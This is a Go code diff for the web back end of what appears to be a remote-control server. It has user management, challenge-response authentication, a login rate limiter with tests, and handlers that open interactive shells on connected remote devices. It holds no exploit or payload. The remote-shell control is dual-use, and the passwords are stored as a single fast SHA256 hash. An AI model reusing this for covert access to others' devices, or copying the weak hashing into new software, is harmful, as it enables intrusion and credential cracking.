return
}
var in struct {
Username string `json:"username"`
Password string `json:"password"`
Role string `json:"role"`
AllowedGroups []string `json:"allowed_groups"`
}
if err := json.Unmarshal(raw, &in); err != nil {
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": false, "msg": "Invalid JSON"}))
return
}
if in.Role == "" {
in.Role = "viewer"
}
if err := h.auth.CreateUser(in.Username, in.Password, in.Role, in.AllowedGroups); err != nil {
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": false, "msg": err.Error()}))
return
}
h.log.Info("user created by %s: name=%s role=%s groups=%d",
c.role, in.Username, in.Role, len(in.AllowedGroups))
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": true}))
}
// handleDeleteUser removes an account and revokes any of its live sessions.
// Admin-only. The bootstrap "admin" account is rejected at the wsauth layer.
func (h *wsHub) handleDeleteUser(c *wsClient, raw []byte) {
const replyCmd = "delete_user_result"
if !h.requireAdmin(c, raw, replyCmd) {
return
}
var in struct {
Username string `json:"username"`
}
if err := json.Unmarshal(raw, &in); err != nil {
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": false, "msg": "Invalid JSON"}))
return
}
if err := h.auth.DeleteUser(in.Username); err != nil {
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": false, "msg": err.Error()}))
return
}
h.log.Info("user deleted by %s: name=%s", c.role, in.Username)
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": true}))
}
// handleListUsers returns the account table to admin callers. Field shape
// matches the C++ list_users_result the browser already parses: an array
// of {username, role, allowed_groups}.
func (h *wsHub) handleListUsers(c *wsClient, raw []byte) {
const replyCmd = "list_users_result"
if !h.requireAdmin(c, raw, replyCmd) {
return
}
users := h.auth.ListUsers()
out := make([]map[string]any, 0, len(users))
for _, u := range users {
groups := u.AllowedGroups
if groups == nil {
groups = []string{}
}
out = append(out, map[string]any{
"username": u.Username,
"role": u.Role,
"allowed_groups": groups,
})
}
c.queue(mustJSON(map[string]any{
"cmd": replyCmd,
"ok": true,
"users": out,
}))
}
// handleGetGroups returns the deduplicated set of group labels currently
// observed on online devices, plus a synthetic "default" entry that the
// admin UI uses for ungrouped devices. Admin-only — non-admins don't get
// to enumerate the device fleet's groups. Matches the contract of
// CWebService::HandleGetGroups (WebService.cpp:1130).
func (h *wsHub) handleGetGroups(c *wsClient, raw []byte) {
const replyCmd = "groups"
if !h.requireAdmin(c, raw, replyCmd) {
return
}
seen := map[string]struct{}{"default": {}}
for _, d := range h.devices.ListDevices() {
g := d.Group
if g == "" {
g = "default"
}
seen[g] = struct{}{}
}
groups := make([]string, 0, len(seen))
for g := range seen {
groups = append(groups, g)
}
sort.Strings(groups)
c.queue(mustJSON(map[string]any{
"cmd": replyCmd,
"ok": true,
"groups": groups,
}))
}
// handleTermOpen kicks off a web terminal session. On success the wsClient
// records `termWatching = deviceID` so subsequent term_input / term_resize
// have a target, and the hub sends COMMAND_SHELL to the device. The
// device's shell sub-conn arrives separately and is bound by the TCP layer
// via Hub.BindTerminalConn; that step fires OnTerminalReady to flip the
// browser into "ready" state.
//
// Single-viewer is enforced at the hub. The C++ side matches:
// server/2015Remote/WebService.cpp:1799.
func (h *wsHub) handleTermOpen(c *wsClient, raw []byte) {
const replyCmd = "term_closed"
if !h.requireAuth(c, raw, replyCmd) {
return
}
var in struct {
ID string `json:"id"`
}
if err := json.Unmarshal(raw, &in); err != nil || in.ID == "" {
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": false, "msg": "Bad request"}))
return
}
// Pin termWatching BEFORE asking the hub to open the session: the
// device's shell sub-conn can arrive in <100 ms on LAN, and
// OnTerminalReady filters by termWatching. Same race shape as the
// screen path in handleConnect.
h.mu.Lock()
if c.termWatching != "" && c.termWatching != in.ID {
h.mu.Unlock()
c.queue(mustJSON(map[string]any{
"cmd": replyCmd, "ok": false,
"msg": "Close current terminal before opening another",
}))
return
}
c.termWatching = in.ID
h.mu.Unlock()
if err := h.devices.OpenTerminalSession(in.ID); err != nil {
h.mu.Lock()
c.termWatching = ""
h.mu.Unlock()
msg := "Device offline"
switch err {
case hub.ErrTerminalBusy:
msg = "Terminal already open by another viewer"
case hub.ErrDeviceOffline:
msg = "Device offline"
default:
msg = "Failed to start terminal"
h.log.Error("OpenTerminalSession(%s): %v", in.ID, err)
}
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": false, "msg": msg}))
return
}
h.log.Info("term_open: device=%s role=%s", in.ID, c.role)
}
// handleTermInput forwards xterm.js keystrokes to the device's shell
// sub-conn verbatim. The client's ConPTYManager treats anything that
// isn't a known control byte (CMD_TERMINAL_RESIZE / COMMAND_NEXT) as
// raw PTY input — see client/ConPTYManager.cpp:244.
func (h *wsHub) handleTermInput(c *wsClient, raw []byte) {
if !h.requireAuth(c, raw, "term_input_result") {
return
}
var in struct {
ID string `json:"id"`
Data string `json:"data"`
}
if err := json.Unmarshal(raw, &in); err != nil {
return
}
if in.ID == "" || in.Data == "" {
return
}
if c.termWatching != in.ID {
return // someone else's session, or no session
}
_ = h.devices.SendToTerminal(in.ID, []byte(in.Data))
}
// handleTermResize forwards xterm.js fit/resize events to the device's
// PTY. Legacy cmd-pipe mode silently ignores resize (the underlying
// pipes have no notion of geometry).
func (h *wsHub) handleTermResize(c *wsClient, raw []byte) {
if !h.requireAuth(c, raw, "term_resize_result") {
return
}
var in struct {
ID string `json:"id"`
Cols int `json:"cols"`
Rows int `json:"rows"`
}
if err := json.Unmarshal(raw, &in); err != nil {
return
}
if in.ID == "" || in.Cols <= 0 || in.Rows <= 0 {
return
}
if c.termWatching != in.ID {
return
}
if !h.devices.TerminalIsPTY(in.ID) {
return // legacy cmd pipe — ignored, same as the C++ guard
}
_ = h.devices.SendToTerminal(in.ID, protocol.BuildTerminalResize(in.Cols, in.Rows))
}
// handleTermClose tears down the active session. CloseTerminalSession
// fires OnTerminalClosed which the wsHub broadcast loop turns into the
// front-end's `term_closed` notification — no need to ack here.
func (h *wsHub) handleTermClose(c *wsClient, raw []byte) {
if !h.requireAuth(c, raw, "term_closed") {
return
}
var in struct {
ID string `json:"id"`
}
if err := json.Unmarshal(raw, &in); err != nil || in.ID == "" {
return
}
if c.termWatching != in.ID {
return
}
h.devices.CloseTerminalSession(in.ID)
}
// tickMillis returns a 32-bit-truncated ms timestamp suitable for the
// MSG64.time field. The client compares these with GetTickCount(), which
// is also a 32-bit ms counter — exact origin doesn't matter, only that
// successive events have non-decreasing values within the wrap window.
func tickMillis() uint32 {
return uint32(time.Now().UnixMilli() & 0xFFFFFFFF)
}
func mustJSON(v any) []byte {
b, err := json.Marshal(v)
if err != nil {
// All callers pass simple map[string]any with primitive values;
// marshal can't realistically fail. If it does, return a safe fallback.
return []byte(`{"cmd":"error","msg":"internal encode error"}`)
}
return b
}

View File

@@ -0,0 +1,110 @@
package wsauth
import (
"sync"
"time"
)
// RateLimiter is a sliding-window per-key counter used to throttle login
// attempts. Two instances are typically created: one keyed by client IP
// (to slow distributed brute force), one keyed by username (to slow
// targeted attacks against a known account).
//
// Design notes:
// - Denied attempts are NOT recorded — the window slides naturally and a
// legitimate user who fat-fingers their password recovers as soon as
// the oldest attempt ages out, while a determined attacker is capped
// at `limit` successful attempts per `window` indefinitely.
// - Lazy cleanup: stale timestamps for a key are pruned on every Allow()
// call. Truly idle keys are GC'd by Sweep(), which callers should run
// periodically from a background goroutine.
// - Map size is bounded by the count of recently-active keys; for the
// web UI's expected load (a handful of users + occasional scanners),
// no extra GC pressure considerations needed.
type RateLimiter struct {
mu sync.Mutex
limit int
window time.Duration
entries map[string][]time.Time
}
// NewRateLimiter returns a limiter that allows up to `limit` events per
// `window` duration per key. Zero or negative limit/window disables the
// limiter (Allow always returns true) — useful for tests / dev mode.
func NewRateLimiter(limit int, window time.Duration) *RateLimiter {
return &RateLimiter{
limit: limit,
window: window,
entries: make(map[string][]time.Time),
}
}
// Allow records an attempt for `key` if and only if the caller is under
// the per-key limit. Returns true when allowed, false when over limit.
// Empty key is treated as "no throttle" (returns true without recording)
// so the caller can fall through when the IP/username is unavailable.
func (r *RateLimiter) Allow(key string) bool {
if r == nil || r.limit <= 0 || r.window <= 0 || key == "" {
return true
}
r.mu.Lock()
defer r.mu.Unlock()
cutoff := time.Now().Add(-r.window)
times := r.entries[key]
// Compact in place — keep only timestamps within the window.
keep := times[:0]
for _, t := range times {
if t.After(cutoff) {
keep = append(keep, t)
}
}
if len(keep) >= r.limit {
// Update the map even when denying so the compacted slice doesn't
// keep stale entries forever. Don't append the new attempt: that
// would let attackers extend the window arbitrarily.
r.entries[key] = keep
return false
}
r.entries[key] = append(keep, time.Now())
return true
}
// Reset clears state for a key. Call on successful login to give the user
// a fresh budget — otherwise a string of failed attempts followed by a
// correct one still leaves the budget partially consumed.
func (r *RateLimiter) Reset(key string) {
if r == nil || key == "" {
return
}
r.mu.Lock()
delete(r.entries, key)
r.mu.Unlock()
}
// Sweep removes entries whose timestamps have all aged out of the window.
// Safe to call concurrently with Allow. Intended for periodic invocation
// from a background ticker (e.g. every window-length) to bound the map.
func (r *RateLimiter) Sweep() {
if r == nil {
return
}
r.mu.Lock()
defer r.mu.Unlock()
cutoff := time.Now().Add(-r.window)
for key, times := range r.entries {
keep := times[:0]
for _, t := range times {
if t.After(cutoff) {
keep = append(keep, t)
}
}
if len(keep) == 0 {
delete(r.entries, key)
} else {
r.entries[key] = keep
}
}
}

467
server/go/wsauth/wsauth.go Normal file
View File

@@ -0,0 +1,467 @@
// Package wsauth provides authentication and session-token management for
// the web service. Protocol surface (challenge nonce + SHA256-based response
// and SHA256(password+salt) hashes) is kept compatible with the existing
// browser front-end and users.json format. Internal token representation is
// deliberately different from the C++ counterpart — opaque random hex strings
// keyed into an in-memory map — to avoid leaking the proprietary token format.
package wsauth
import (
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"errors"
"os"
"path/filepath"
"sort"
"sync"
"time"
)
// Default knobs. Override via SetDefaults at startup if needed.
const (
DefaultTokenExpire = 24 * time.Hour
nonceBytes = 16 // 32 hex chars
tokenBytes = 32 // 64 hex chars
saltBytes = 8 // 16 hex chars
)
// ErrInvalidToken is returned when a token is unknown or expired.
var ErrInvalidToken = errors.New("invalid or expired token")
// User is the credentials record for one web account.
type User struct {
Username string
PasswordHash string // SHA256(password+salt) in lowercase hex
Salt string // empty for admin (matches C++ convention)
Role string // "admin" or "viewer"
// AllowedGroups restricts which device groups this user can view. Empty
// slice = no device access (admin role is treated as "all" elsewhere
// without consulting this list). Matches the C++ WebUser.allowed_groups
// field one-for-one so users.json is interchangeable between the two
// servers.
AllowedGroups []string
}
// Session is the authenticated state attached to a valid token.
type Session struct {
Username string
Role string
ExpiresAt time.Time
}
// Authenticator owns the user table and the active token map. It is safe to
// use from multiple goroutines.
type Authenticator struct {
mu sync.RWMutex
users map[string]*User // username -> user
tokens map[string]*Session // token -> session
tokenExpire time.Duration
// usersFile is the persistence target for non-admin accounts (admin
// lives in env/master-password only and is never written out, matching
// the C++ SaveUsers behavior). Empty disables persistence.
usersFile string
}
// New returns an empty Authenticator. Call AddUser to populate.
func New() *Authenticator {
return &Authenticator{
users: make(map[string]*User),
tokens: make(map[string]*Session),
tokenExpire: DefaultTokenExpire,
}
}
// SetTokenExpire overrides the default session lifetime.
func (a *Authenticator) SetTokenExpire(d time.Duration) {
if d <= 0 {
return
}
a.mu.Lock()
a.tokenExpire = d
a.mu.Unlock()
}
// AddUser registers a user. PasswordHash should already be
// SHA256(password+salt) in lowercase hex; pass empty Salt to mirror the
// admin-style "no salt" convention used by the C++ side.
func (a *Authenticator) AddUser(u User) {
if u.Username == "" {
return
}
a.mu.Lock()
a.users[u.Username] = &u
a.mu.Unlock()
}
// AddAdminFromPlainPassword is a convenience for the bootstrap admin.
// Unlike legacy convention, the admin record is given a real per-instance
// salt — exposing an empty salt for admin while everyone else has a real
// 16-hex one would let an unauthenticated probe distinguish admin from
// other accounts via /get_salt alone. The cost is a tiny break in
// users.json schema compat: admin is never persisted to users.json
// anyway (snapshotPersistableLocked excludes it), so this is in-memory
// only.
func (a *Authenticator) AddAdminFromPlainPassword(username, plainPassword string) {
salt, err := NewSalt()
if err != nil {
// Fall back to deterministic salt derived from the password hash
// rather than empty — preserves the uniform-shape property even
// if crypto/rand briefly errors at startup.
salt = ComputeSHA256(plainPassword)[:saltBytes*2]
}
a.AddUser(User{
Username: username,
PasswordHash: HashPassword(plainPassword, salt),
Salt: salt,
Role: "admin",
})
}
// CreateUser registers a new account, persists the user table, and returns
// nil on success. Mirrors the C++ CWebService::CreateUser semantics:
// - role must be "admin" or "viewer"
// - "admin" is reserved for the bootstrap account and cannot be created
// via this API
// - duplicate usernames are rejected
//
// Password is hashed with a fresh per-user salt before being stored.
func (a *Authenticator) CreateUser(username, plainPassword, role string, allowedGroups []string) error {
if username == "" || plainPassword == "" {
return errors.New("username and password required")
}
if username == "admin" {
return errors.New("'admin' is reserved")
}
if role != "admin" && role != "viewer" {
return errors.New("role must be 'admin' or 'viewer'")
}
salt, err := NewSalt()
if err != nil {
return err
}
u := User{
Username: username,
PasswordHash: HashPassword(plainPassword, salt),
Salt: salt,
Role: role,
AllowedGroups: append([]string(nil), allowedGroups...),
}
a.mu.Lock()
if _, exists := a.users[username]; exists {
a.mu.Unlock()
return errors.New("user already exists")
}
a.users[username] = &u
path := a.usersFile
snapshot := a.snapshotPersistableLocked()
a.mu.Unlock()
if path != "" {
return writeUsersFile(path, snapshot)
}
return nil
}
// DeleteUser removes a user account and persists the change. The bootstrap
// admin (always Role=="admin" with empty Salt) is protected: deleting it
// would lock everyone out of the UI with no way back in.
func (a *Authenticator) DeleteUser(username string) error {
if username == "" || username == "admin" {
return errors.New("cannot delete admin")
}
a.mu.Lock()
if _, ok := a.users[username]; !ok {
a.mu.Unlock()
return errors.New("user not found")
}
delete(a.users, username)
// Also drop any live sessions belonging to that user so they don't
// outlive their account.
for tok, s := range a.tokens {
if s.Username == username {
delete(a.tokens, tok)
}
}
path := a.usersFile
snapshot := a.snapshotPersistableLocked()
a.mu.Unlock()
if path != "" {
return writeUsersFile(path, snapshot)
}
return nil
}
// ListUsers returns a stable, copied snapshot of all users in name order.
// PasswordHash and Salt are zeroed in the returned records so callers can
// JSON-marshal the result without leaking credentials.
func (a *Authenticator) ListUsers() []User {
a.mu.RLock()
defer a.mu.RUnlock()
out := make([]User, 0, len(a.users))
for _, u := range a.users {
c := *u
c.PasswordHash = ""
c.Salt = ""
out = append(out, c)
}
sort.Slice(out, func(i, j int) bool { return out[i].Username < out[j].Username })
return out
}
// GetSalt returns the per-user salt for an existing user, or a
// deterministic 16-hex pseudo-salt for an unknown user. The ok flag
// reports which case occurred, so callers can decide whether to update
// rate-limit / audit state — but the returned salt itself is shaped
// identically (16 hex chars) in both cases, defeating the user-existence
// probe an attacker would otherwise mount via /get_salt.
//
// The pseudo-salt is derived from a server-instance secret (the admin
// password hash, taken at first call) mixed with the username, so the
// same unknown user always sees the same fake salt across requests.
// Without this, an attacker could fingerprint the "fake-salt branch"
// by submitting the same username twice and watching for differences.
func (a *Authenticator) GetSalt(username string) (string, bool) {
a.mu.RLock()
u, ok := a.users[username]
a.mu.RUnlock()
if ok {
return u.Salt, true
}
return a.fakeSalt(username), false
}
// fakeSalt derives a deterministic 16-hex value for unknown usernames.
// The secret pepper is the bootstrap admin's password hash — present as
// long as the server has any admin, deterministic per deployment, never
// transmitted. Reveals nothing useful to an attacker even if reverse-
// engineered: the only thing they can do with it is reproduce the fake
// salt, which they already see in the response.
func (a *Authenticator) fakeSalt(username string) string {
a.mu.RLock()
pepper := ""
if admin, ok := a.users["admin"]; ok {
pepper = admin.PasswordHash
}
a.mu.RUnlock()
digest := ComputeSHA256("yama-fake-salt|" + pepper + "|" + username)
return digest[:saltBytes*2]
}
// VerifyLogin checks a challenge-response login. The browser sends
// response = SHA256(passwordHash + nonce). On success the function mints a
// new session token, stores it, and returns (token, role, nil).
func (a *Authenticator) VerifyLogin(username, response, nonce string) (token, role string, err error) {
a.mu.RLock()
u, ok := a.users[username]
expire := a.tokenExpire
a.mu.RUnlock()
if !ok {
return "", "", errors.New("invalid credentials")
}
expected := ComputeSHA256(u.PasswordHash + nonce)
if response != expected {
return "", "", errors.New("invalid credentials")
}
token, err = randomHex(tokenBytes)
if err != nil {
return "", "", err
}
a.mu.Lock()
a.tokens[token] = &Session{
Username: username,
Role: u.Role,
ExpiresAt: time.Now().Add(expire),
}
a.mu.Unlock()
return token, u.Role, nil
}
// usersFileEntry is the on-disk shape of one record in users.json. Field
// names match the C++ WebService SaveUsers output exactly so the two
// servers can share the file.
type usersFileEntry struct {
Username string `json:"username"`
PasswordHash string `json:"password_hash"`
Salt string `json:"salt"`
Role string `json:"role"`
AllowedGroups []string `json:"allowed_groups"`
}
type usersFile struct {
Users []usersFileEntry `json:"users"`
}
// SetUsersFile points the authenticator at a JSON file used to persist
// non-admin accounts and loads any existing entries. Calling it again with
// a different path is allowed but the previous file is not re-read on a
// nil-arg call — initialize once at startup. Missing files are not an
// error; they're treated as an empty user table.
func (a *Authenticator) SetUsersFile(path string) error {
a.mu.Lock()
a.usersFile = path
a.mu.Unlock()
if path == "" {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
if os.IsNotExist(err) {
return nil
}
return err
}
if len(data) == 0 {
return nil
}
var f usersFile
if err := json.Unmarshal(data, &f); err != nil {
return err
}
a.mu.Lock()
defer a.mu.Unlock()
for _, e := range f.Users {
// Skip admin: it's always sourced from env/master password and
// already injected via AddAdminFromPlainPassword.
if e.Username == "" || e.Username == "admin" {
continue
}
if e.PasswordHash == "" {
continue
}
role := e.Role
if role == "" {
role = "viewer"
}
a.users[e.Username] = &User{
Username: e.Username,
PasswordHash: e.PasswordHash,
Salt: e.Salt,
Role: role,
AllowedGroups: append([]string(nil), e.AllowedGroups...),
}
}
return nil
}
// snapshotPersistableLocked builds the on-disk slice while a.mu is held by
// the caller. Admin records are excluded — they live in env, not in the file.
func (a *Authenticator) snapshotPersistableLocked() []usersFileEntry {
out := make([]usersFileEntry, 0, len(a.users))
for _, u := range a.users {
if u.Username == "admin" {
continue
}
groups := append([]string{}, u.AllowedGroups...)
out = append(out, usersFileEntry{
Username: u.Username,
PasswordHash: u.PasswordHash,
Salt: u.Salt,
Role: u.Role,
AllowedGroups: groups,
})
}
sort.Slice(out, func(i, j int) bool { return out[i].Username < out[j].Username })
return out
}
// writeUsersFile writes the user list atomically: encode to a temp file in
// the same directory, fsync, rename — so a crash mid-write can't leave the
// service starting up with a half-written users.json next time.
func writeUsersFile(path string, entries []usersFileEntry) error {
data, err := json.MarshalIndent(usersFile{Users: entries}, "", " ")
if err != nil {
return err
}
dir := filepath.Dir(path)
if dir != "" {
if err := os.MkdirAll(dir, 0o755); err != nil {
return err
}
}
tmp, err := os.CreateTemp(dir, "users-*.json.tmp")
if err != nil {
return err
}
tmpName := tmp.Name()
if _, err := tmp.Write(data); err != nil {
_ = tmp.Close()
_ = os.Remove(tmpName)
return err
}
if err := tmp.Sync(); err != nil {
_ = tmp.Close()
_ = os.Remove(tmpName)
return err
}
if err := tmp.Close(); err != nil {
_ = os.Remove(tmpName)
return err
}
if err := os.Rename(tmpName, path); err != nil {
_ = os.Remove(tmpName)
return err
}
return nil
}
// ValidateToken returns the session for a token or ErrInvalidToken. Expired
// tokens are removed lazily as they are looked up.
func (a *Authenticator) ValidateToken(token string) (*Session, error) {
a.mu.RLock()
s, ok := a.tokens[token]
a.mu.RUnlock()
if !ok {
return nil, ErrInvalidToken
}
if time.Now().After(s.ExpiresAt) {
a.mu.Lock()
delete(a.tokens, token)
a.mu.Unlock()
return nil, ErrInvalidToken
}
return s, nil
}
// RevokeToken removes a token from the active set. No-op for unknown tokens.
func (a *Authenticator) RevokeToken(token string) {
a.mu.Lock()
delete(a.tokens, token)
a.mu.Unlock()
}
// NewNonce returns a fresh challenge nonce (hex string). Each WS connection
// should receive exactly one nonce, consumed by a single login attempt.
func NewNonce() (string, error) {
return randomHex(nonceBytes)
}
// NewSalt returns a fresh per-user salt (hex string).
func NewSalt() (string, error) {
return randomHex(saltBytes)
}
// ComputeSHA256 returns the lowercase-hex SHA256 of s.
func ComputeSHA256(s string) string {
sum := sha256.Sum256([]byte(s))
return hex.EncodeToString(sum[:])
}
// HashPassword computes the stored hash for a (password, salt) pair using
// the same scheme as the existing C++ users.json: SHA256(password + salt).
func HashPassword(password, salt string) string {
return ComputeSHA256(password + salt)
}
func randomHex(n int) (string, error) {
b := make([]byte, n)
if _, err := rand.Read(b); err != nil {
return "", err
}
return hex.EncodeToString(b), nil
}

View File

@@ -0,0 +1,202 @@
package wsauth
import (
"testing"
"time"
)
func TestSHA256Vector(t *testing.T) {
// Known vector — keeps us honest against accidental algorithm changes.
got := ComputeSHA256("abc")
want := "ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"
if got != want {
t.Fatalf("SHA256(abc): got %s want %s", got, want)
}
}
// adminLoginResponse helps tests compute the right login response for an
// admin account that now uses a real per-instance salt.
func adminLoginResponse(t *testing.T, a *Authenticator, username, password, nonce string) string {
t.Helper()
salt, ok := a.GetSalt(username)
if !ok {
t.Fatalf("admin %s not registered", username)
}
return ComputeSHA256(HashPassword(password, salt) + nonce)
}
func TestLoginRoundTripAdmin(t *testing.T) {
a := New()
a.AddAdminFromPlainPassword("admin", "hunter2")
salt, ok := a.GetSalt("admin")
if !ok {
t.Fatal("admin should be found")
}
if len(salt) != 2*saltBytes {
t.Fatalf("admin salt should be a real 16-hex value, got %q (len=%d)", salt, len(salt))
}
nonce := "abc123"
response := adminLoginResponse(t, a, "admin", "hunter2", nonce)
token, role, err := a.VerifyLogin("admin", response, nonce)
if err != nil {
t.Fatalf("VerifyLogin: %v", err)
}
if role != "admin" {
t.Fatalf("role: got %q want admin", role)
}
if len(token) != 2*tokenBytes {
t.Fatalf("token length: got %d want %d", len(token), 2*tokenBytes)
}
sess, err := a.ValidateToken(token)
if err != nil {
t.Fatalf("ValidateToken: %v", err)
}
if sess.Username != "admin" || sess.Role != "admin" {
t.Fatalf("session: %+v", sess)
}
}
func TestLoginRoundTripViewerWithSalt(t *testing.T) {
a := New()
salt, _ := NewSalt()
a.AddUser(User{
Username: "alice",
PasswordHash: HashPassword("p@ss", salt),
Salt: salt,
Role: "viewer",
})
gotSalt, ok := a.GetSalt("alice")
if !ok || gotSalt != salt {
t.Fatalf("salt: ok=%v got=%q want=%q", ok, gotSalt, salt)
}
nonce, _ := NewNonce()
response := ComputeSHA256(HashPassword("p@ss", salt) + nonce)
_, role, err := a.VerifyLogin("alice", response, nonce)
if err != nil || role != "viewer" {
t.Fatalf("VerifyLogin: role=%q err=%v", role, err)
}
}
// TestGetSaltUnknownUserShape verifies the salt-probe mitigation: an
// unknown user must get back a value that's shape-identical to a real
// salt, so an attacker can't tell from /get_salt alone whether a
// username exists.
func TestGetSaltUnknownUserShape(t *testing.T) {
a := New()
a.AddAdminFromPlainPassword("admin", "pw")
fake, ok := a.GetSalt("nobody")
if ok {
t.Fatal("ok should be false for unknown user")
}
if len(fake) != 2*saltBytes {
t.Fatalf("fake salt should be %d hex chars; got %q (len=%d)", 2*saltBytes, fake, len(fake))
}
// Determinism: repeated probes for the same username get the same fake.
fake2, _ := a.GetSalt("nobody")
if fake != fake2 {
t.Fatalf("fake salt should be deterministic for repeated probes; got %q vs %q", fake, fake2)
}
// Different usernames get different fake salts.
other, _ := a.GetSalt("ghost")
if fake == other {
t.Fatalf("fake salts should differ across usernames; both = %q", fake)
}
}
func TestLoginRejectsWrongResponse(t *testing.T) {
a := New()
a.AddAdminFromPlainPassword("admin", "x")
_, _, err := a.VerifyLogin("admin", "deadbeef", "nonce")
if err == nil {
t.Fatal("expected error for bad response")
}
_, _, err = a.VerifyLogin("ghost", "anything", "anything")
if err == nil {
t.Fatal("expected error for unknown user")
}
}
func TestTokenExpiry(t *testing.T) {
a := New()
a.SetTokenExpire(50 * time.Millisecond)
a.AddAdminFromPlainPassword("admin", "x")
nonce, _ := NewNonce()
response := adminLoginResponse(t, a, "admin", "x", nonce)
token, _, err := a.VerifyLogin("admin", response, nonce)
if err != nil {
t.Fatal(err)
}
if _, err := a.ValidateToken(token); err != nil {
t.Fatalf("fresh token should validate: %v", err)
}
time.Sleep(80 * time.Millisecond)
if _, err := a.ValidateToken(token); err == nil {
t.Fatal("expired token should not validate")
}
}
func TestRevoke(t *testing.T) {
a := New()
a.AddAdminFromPlainPassword("admin", "x")
nonce, _ := NewNonce()
response := adminLoginResponse(t, a, "admin", "x", nonce)
token, _, _ := a.VerifyLogin("admin", response, nonce)
a.RevokeToken(token)
if _, err := a.ValidateToken(token); err == nil {
t.Fatal("revoked token should not validate")
}
}
func TestRateLimiterAllowsBurstThenBlocks(t *testing.T) {
r := NewRateLimiter(3, time.Minute)
for i := 0; i < 3; i++ {
if !r.Allow("ip-a") {
t.Fatalf("attempt %d should be allowed", i+1)
}
}
if r.Allow("ip-a") {
t.Fatal("4th attempt should be denied")
}
// Different key has independent budget.
if !r.Allow("ip-b") {
t.Fatal("different key should still be allowed")
}
}
func TestRateLimiterReset(t *testing.T) {
r := NewRateLimiter(2, time.Minute)
r.Allow("k")
r.Allow("k")
if r.Allow("k") {
t.Fatal("3rd should be denied")
}
r.Reset("k")
if !r.Allow("k") {
t.Fatal("after Reset, should be allowed again")
}
}
func TestRateLimiterDisabledWhenZeroLimit(t *testing.T) {
r := NewRateLimiter(0, time.Minute)
for i := 0; i < 100; i++ {
if !r.Allow("k") {
t.Fatalf("limit=0 should never deny, denied at i=%d", i)
}
}
}
func TestRateLimiterNilSafe(t *testing.T) {
var r *RateLimiter
if !r.Allow("anything") {
t.Fatal("nil limiter should allow")
}
r.Reset("anything")
r.Sweep()
}

3557
server/web/index.html Normal file

File diff suppressed because it is too large Load Diff